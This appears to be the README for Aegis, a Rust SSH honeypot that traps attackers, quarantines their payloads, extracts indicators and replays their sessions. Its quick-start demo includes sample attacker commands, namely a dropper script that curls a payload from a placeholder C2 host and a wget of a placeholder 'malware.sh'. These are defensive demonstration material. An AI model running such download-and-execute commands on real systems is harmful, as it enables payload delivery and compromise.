Next-Generation, Zero-Execution SSH Threat Intelligence & Deception Engine in Rust
Demo • Key Features • Architecture • Quick Start • Telemetry • Forensics • GeoIP • Deployment
aegis-demo.mp4
An attacker SSHes in, drops a payload, and gets quarantined & fingerprinted in real time — the dashboard updates live over Server-Sent Events, then replays the attacker's exact terminal session in-browser.
Aegis is a modular, high-performance interactive SSH honeypot engineered in Rust designed to deceive, trap, and analyze automated botnets, script kiddies, and advanced threat actors.
Unlike traditional honeypots that either run high-risk real virtual machines (prone to escapes and outbound abuse) or basic low-interaction emulators (easily fingerprinted and bypassed), Aegis pairs an authentic Ubuntu 22.04 LTS Golden Rootfs and ephemeral per-session Linux OverlayFS mounts with a deterministic zero-execution virtual shell and in-kernel eBPF telemetry.
- 🔒 Zero-Execution Sandbox: Attacker commands are deterministically handled by an async dispatcher. No malicious code is ever executed on the host system. Note the one deliberate exception: with
forensics.fetch_payloads = true(the default) the gateway really does fetch URLs an attacker types intowget/curl, so that payloads can be captured. Those requests are vetted (no loopback/private/link-local targets, no redirects followed), size-capped and budgeted per session — but they originate from this host's address. Set it tofalseif outbound traffic attributed to you is a problem; the attacker still sees a convincing download either way. - 📂 Ephemeral OverlayFS Mount Isolation: Each connection receives an isolated file system layer backed by a Golden Rootfs, mounted
nodev,nosuid,noexec. Attacker file modifications (touch,mkdir,echo > file,wget) are trapped in privateupperdirinstances and never leak between sessions. Mounts are released onDrop, so an abrupt disconnect cannot strand them, and any session directory left behind by a crash or reboot is analysed and reclaimed at the next startup. Containment here comes from the zero-execution dispatcher, not from namespaces — no PTY is allocated and no process is forked, so there is nothing to confine. - 🕵️ Anti-Fingerprinting: Presents an OpenSSH 9.6p1 / Ubuntu 22.04 identification banner, a persistent host key, and authentic Ubuntu 22.04 LTS directory structures (
/proc,/sys,/etc,/var/log,/dev,/boot). This is not yet complete: thehasshServerfingerprint — an MD5 over the algorithm lists inSSH_MSG_KEXINIT— still reflects the underlying Rust SSH library's defaults rather than OpenSSH's, and only an Ed25519 host key is offered where real OpenSSH also offers RSA. A determined scanner comparing KEXINIT against a real Ubuntu host will still tell the difference; a banner-grabbing one will not. The emulated shell also has real gaps (no pipes, noexecchannel, no job control). Do not treat this as proof against a motivated analyst. - 🔬 Automated In-Flight Forensics & IOC Extraction: Intercepts downloaded scripts and binaries, calculates SHA-256 hashes, quarantines artifacts with stripped execution permissions (
0600), and automatically parses Indicators of Compromise (C2 IPs, domains, URLs, Monero wallets). - ⚡ Kernel eBPF Telemetry Probes (not currently built): Aya-based tracepoints for
sys_enter_execve,sys_enter_connectandsys_enter_memfd_createexist incrates/aegis-ebpf/ebpf, but no build step compiles them and the loader ships an empty bytecode blob — soSYSCALL_EXECVE,SYSCALL_CONNECTandSYSCALL_MEMFD_CREATEevents are never emitted today. The zero-execution design means there are no sandbox processes to trace in any case. Treat this as roadmap, not a shipped capability, and note that the deployment therefore does not needCAP_BPForCAP_NET_ADMIN. - 📼 Stroke-by-Stroke Terminal Replay: Every session is recorded in Asciinema v2 (
.cast) format for exact terminal session playback. - 📊 Real-Time Structured SIEM Feed: Emits clean, append-only JSON Lines (
attacks.json) ready for ingestion into Splunk, Elastic, Graylog, or custom SOC pipelines.
+-------------------------------------------------------+
| Incoming SSH Attacker |
+-------------------------------------------------------+
|
v
+-------------------------------------------------------+
| aegis-gateway (Async russh Frontend) |
| - OpenSSH 9.6p1 Protocol Spoofing |
| - Credential Harvesting |
+-------------------------------------------------------+
/ | \
/ | \
v v v
+----------------------------------+ +-----------------------------------+ +----------------------------------+
| aegis-vmm | | aegis-collector | | aegis-ebpf |
| - Golden Rootfs Provisioning | | - Event Pipeline Channel | | - Kernel Tracepoints |
| - Per-Session OverlayFS Mount | | - attacks.json Log Stream | | - execve / connect Probes |
| - UpperDir Diff Isolation | | - Asciinema v2 (.cast) Recorder | | - memfd_create Fileless Watch |
+----------------------------------+ +-----------------------------------+ +----------------------------------+
| | |
v v v
+----------------------------------+ +-----------------------------------+ +----------------------------------+
| aegis-forensics | | attacks.json | | quarantine/ |
| - SHA-256 Carving & Magic Bytes | | {"event":"COMMAND_RUN", ...} | | chmod 0600 Quarantined Payloads |
| - IOC Parsing (IPs, URLs, C2) | | {"event":"PAYLOAD_CAPTURED",...} | | Named by SHA-256 hash |
+----------------------------------+ +-----------------------------------+ +----------------------------------+
| Crate | Path | Description |
|---|---|---|
aegis-gateway |
crates/aegis-gateway |
Async SSH daemon, virtual shell engine, VFS dispatcher, and OpenSSH spoofing. |
aegis-vmm |
crates/aegis-vmm |
Linux namespace manager, Golden Rootfs provisioner, and ephemeral OverlayFS mounts. |
aegis-forensics |
crates/aegis-forensics |
File carving, SHA-256 hashing, string analysis, and IOC extraction. |
aegis-collector |
crates/aegis-collector |
High-throughput telemetry pipeline, JSON log aggregator, and .cast session recorder. |
aegis-ebpf |
crates/aegis-ebpf |
Aya-powered eBPF probe loader and ring buffer telemetry consumer. |
aegis-common |
crates/aegis-common |
Shared data schemas, event definitions, and configuration structs. |
aegis-dashboard |
crates/aegis-dashboard |
Read-only web UI: tails attacks.json, streams live events over SSE, and replays session recordings in-browser. |
- Rust Toolchain: Stable Rust (1.75+)
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source ~/.cargo/env# Clone repository
git clone https://github.com/aegis-honeypot/aegis-honeypot.git
cd aegis-honeypot
# Build all workspace crates
cargo build --release
# Run daemon (listens on 0.0.0.0:2222 by default)
./target/release/aegis-gatewayIn a separate terminal, test the honeypot:
ssh root@127.0.0.1 -p 2222 -o StrictHostKeyChecking=no(Accepts any username/password combination)
Try common attacker commands:
root@ubuntu-server-01:~# uname -a
root@ubuntu-server-01:~# cat /etc/os-release
root@ubuntu-server-01:~# mkdir -p /tmp/botnet
root@ubuntu-server-01:~# echo '#!/bin/bash\ncurl http://c2.example.com/payload.bin' > /tmp/botnet/dropper.sh
root@ubuntu-server-01:~# wget http://example.com/malware.sh
root@ubuntu-server-01:~# exitIn a third terminal, start the dashboard (a separate, unprivileged process — it only reads attacks.json, never touches the sandbox or attacker traffic):
./target/release/aegis-dashboard deploy/config.tomlOn first run it generates a random bearer token, saves it to dashboard_token (mode 0600, path configurable via token_path), and logs it once:
Dashboard bearer token: 9f2c1a... (64 hex chars)
Open http://127.0.0.1:8080/?token= the first time — the page stores it in localStorage and cleans the URL, so subsequent visits just need http://127.0.0.1:8080. Every route requires the token; the API accepts it as Authorization: Bearer <token> or, for the live-feed endpoint specifically (EventSource can't set custom headers), ?token=<token>. Set dashboard.require_auth = false in the config to disable this entirely for local dev.
It binds to loopback only by default — see the [dashboard] section in Configuration below before exposing it elsewhere.
Click any session ID in the feed to drill down: full event timeline for that session, plus an in-browser replay of the actual terminal recording (sessions/*.cast) with play/pause and speed controls — no external player or CDN dependency, just a small bundled terminal-buffer emulator. Click a source IP anywhere to filter the feed to that attacker. Captured payloads get their own panel with expandable IOC details (extracted IPs, URLs, base64 blobs, Monero wallets).
Beyond the live feed, the dashboard also gives you:
- Attack Origins map — every geo-tagged session plotted by lat/lon on a lightweight grid projection (no map tiles/CDN dependency), bucketed so a busy honeypot shows clusters rather than overlapping pins.
- Session Archive — a searchable, paginated history of every session ever seen (independent of the live feed's in-memory window), with duration, credentials, command/payload counts, and a threat score per session.
- Threat-score leaderboard — source IPs ranked by cumulative threat score (commands run, credentials harvested, payloads dropped), not just raw event volume, to surface attackers who actually did something.
- All-time IOC rollup — distinct C2 IPs, URLs, and Monero wallets extracted across every payload ever captured, not just the currently-buffered ones.
- Feed search + "NEW" badges — free-text search across the live feed, plus a badge the first time a given command, username, or password is ever seen.
All activity is recorded in real time as JSON Lines in attacks.json:
{"event":"CREDENTIAL_HARVEST","timestamp":"2026-08-28T03:38:15Z","session_id":"c6c1baee68c8","ip":"198.51.100.2","username":"root","password":"password123","auth_method":"password"}
{"event":"SESSION_START","timestamp":"2026-08-28T03:38:15Z","session_id":"c6c1baee68c8","ip":"198.51.100.2","port":54156,"geo":{"country":"Germany","city":"Frankfurt am Main","asn":"AS24940 Hetzner Online GmbH","lat":50.1188,"lon":8.6843}}
{"event":"COMMAND_RUN","timestamp":"2026-08-28T03:38:16Z","session_id":"c6c1baee68c8","ip":"198.51.100.2","command":"uname -a"}
{"event":"COMMAND_RUN","timestamp":"2026-08-28T03:38:17Z","session_id":"c6c1baee68c8","ip":"198.51.100.2","command":"mkdir -p /tmp/botnet"}
{"event":"PAYLOAD_CAPTURED","timestamp":"2026-08-28T03:38:20Z","session_id":"c6c1baee68c8","ip":"198.51.100.2","source_url":"http://c2.example.com/payload.bin","sha256":"b875f928546aee7855cb1db9afc8ab3f1a8a34d43de5bbd62f7076d7ba9f3917","size_bytes":1284,"quarantine_path":"./quarantine/b875f928546aee7855cb1db9afc8ab3f1a8a34d43de5bbd62f7076d7ba9f3917","file_type":"shell","iocs":{"strings_preview":["#!/bin/bash"],"ip_addresses":["198.51.100.99"],"urls":["http://c2.example.com/payload.bin"],"base64_blobs":[],"monero_wallets":[]}}
{"event":"SESSION_END","timestamp":"2026-08-28T03:38:20Z","session_id":"c6c1baee68c8","ip":"198.51.100.2","duration_secs":5.3}| Event | Description | Key Fields |
|---|---|---|
CREDENTIAL_HARVEST |
SSH auth attempt (passwords, pubkeys) | username, password, auth_method, ip |
SESSION_START |
Interactive PTY channel open | session_id, ip, port, timestamp, geo (optional — see GeoIP Tagging) |
COMMAND_RUN |
Command executed by attacker | session_id, command, timestamp |
PAYLOAD_CAPTURED |
Quarantined script, binary, or download | sha256, size_bytes, quarantine_path, iocs |
SYSCALL_EXECVE |
eBPF process execution probe | pid, filename, argv |
SYSCALL_CONNECT |
eBPF outbound socket connect probe | pid, dest_ip, dest_port |
SYSCALL_MEMFD_CREATE |
eBPF fileless ELF memory injection | pid, name |
SESSION_END |
Session disconnect and duration | session_id, duration_secs |
When an attacker drops a dropper script, downloads a payload via wget/curl, or compiles code in /tmp:
- Quarantine Storage (
quarantine/): The file is saved and named by its SHA-256 hash with restricted non-executable permissions (chmod 0600). - IOC Extraction: Indicators of Compromise are parsed on the fly (IPv4 addresses, URLs, C2 endpoints, base64 blobs, Monero wallet patterns).
- Session Replay (
sessions/*.cast): Replay the exact terminal session using Asciinema:asciinema play sessions/session_id.cast
Every SESSION_START event can carry a geo object (country, city, ASN, lat/lon) resolved from a local MaxMind GeoLite2 database — no outbound API calls, no per-lookup network round trip. It's entirely optional: with nothing configured, geo is simply absent and nothing else about the honeypot is affected.
- Create a free MaxMind account: https://www.maxmind.com/en/geolite2/signup
- Once logged in, generate a license key under My License Keys.
- Download the databases you want (both are free, and independent of each other):
- GeoLite2-City — country, city, latitude/longitude
- GeoLite2-ASN — network/ASN ownership (e.g. "Hetzner Online GmbH") — a separate download; MaxMind never bundles ASN data into the City database
# Using their CLI downloader (geoipupdate), or a direct authenticated URL: curl -o GeoLite2-City.tar.gz "https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-City&license_key=YOUR_KEY&suffix=tar.gz" tar xzf GeoLite2-City.tar.gz --strip-components=1 --wildcards '*/GeoLite2-City.mmdb'
- Place the
.mmdbfile(s) wherever you like and point[geoip]at them indeploy/config.toml:[geoip] geoip_db_path = "./GeoLite2-City.mmdb" asn_db_path = "./GeoLite2-ASN.mmdb" # optional, independent of the above
- Restart
aegis-gateway. It logs which database(s) it loaded (or that GeoIP is disabled) once at startup.
This data goes stale — MaxMind rebuilds GeoLite2 roughly every two weeks and IP-to-location mappings drift over time (ISPs reassign blocks, ASNs get bought and sold). Re-download periodically; a monthly cron job pointed at the URL above is enough for a honeypot's purposes. A stale database doesn't break anything, it just slowly gets less accurate.
Private/loopback/RFC1918 addresses are never sent to the database — they'd never resolve to anything real. They're tagged "country": "Local" instead, so you can tell "this was a local test connection" apart from "we looked this up and MaxMind has no record for it" (geo: null).
[gateway]
bind_addr = "0.0.0.0"
port = 2222
max_sessions = 256 # Global concurrent-session cap (enforced via a semaphore)
max_sessions_per_ip = 8 # Concurrent-session cap per source IP (0 disables)
max_connects_per_min_per_ip = 20 # New connections per IP per rolling 60s window (0 disables)
host_key_path = "./host_key.pem" # Persisted & auto-generated on first run. Remove to use an ephemeral key.
[vmm]
rootfs_path = "./rootfs"
overlay_base = "./overlay"
memory_limit_mb = 256
cpu_quota_percent = 20
[forensics]
quarantine_dir = "./quarantine"
sessions_dir = "./sessions"
attacks_log = "./attacks.json"
string_min_len = 6
[logging]
level = "info"
json = false
[dashboard]
bind_addr = "127.0.0.1" # Loopback by default
port = 8080
require_auth = true # Bearer token on every request. Only disable for local dev.
token_path = "./dashboard_token" # Persisted & auto-generated on first run, same as host_key_path above.
[geoip]
# geoip_db_path = "./GeoLite2-City.mmdb" # Optional. See the GeoIP Tagging section below.
# asn_db_path = "./GeoLite2-ASN.mmdb" # Optional and independent of the above.Why a persistent host key matters: a returning attacker (or a scanner like Shodan/Censys) that sees a different SSH host key on every connection has effectively fingerprinted you as a honeypot that restarts per-session. host_key_path is generated once and reused across restarts; omit it only if you specifically want a fresh ephemeral key every run.
Why per-IP admission control matters: max_sessions alone caps total load, but a single botnet host can still fill the entire pool. max_sessions_per_ip and max_connects_per_min_per_ip bound both concurrency and reconnect rate per source IP before a sandbox or session recorder is ever provisioned for it.
Run Aegis unprivileged on port 2222 and redirect standard SSH traffic:
# Redirect public port 22 to honeypot port 2222
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222
# Save iptables rules
sudo netfilter-persistent savedocker build -f deploy/Dockerfile -t aegis-honeypot .
docker run -d \
--name aegis \
--restart unless-stopped \
-p 2222:2222 \
-v $(pwd)/quarantine:/opt/aegis/quarantine \
-v $(pwd)/sessions:/opt/aegis/sessions \
-v $(pwd)/attacks.json:/opt/aegis/attacks.json \
aegis-honeypot- Safe Quarantine: Quarantined binaries are written with permissions
0600(read/write only by the honeypot user, execution strictly prohibited). - SSRF Shield: In-flight payload downloads to RFC 1918 private IP ranges, loopback (
127.0.0.0/8), and link-local addresses are rejected to prevent internal network scanning. - Resource Protection: A global
tokio::sync::Semaphorecaps total concurrent sessions atmax_sessions; a per-IP admission guard additionally caps concurrent sessions and connection rate per source IP (max_sessions_per_ip,max_connects_per_min_per_ip), rejecting excess connections before a sandbox or recorder is provisioned for them. - Persistent Host Key: The SSH host key is generated once and reused across restarts (
host_key_path), avoiding the fingerprintable tell of a host key that changes on every reconnect. - Dashboard Auth: Every dashboard route requires a bearer token (auto-generated, persisted to
token_path, constant-time compared) unlessrequire_authis explicitly disabled for local dev.
Run the full workspace automated test suite:
cargo test --workspaceThis project is licensed under the MIT License. See LICENSE for details.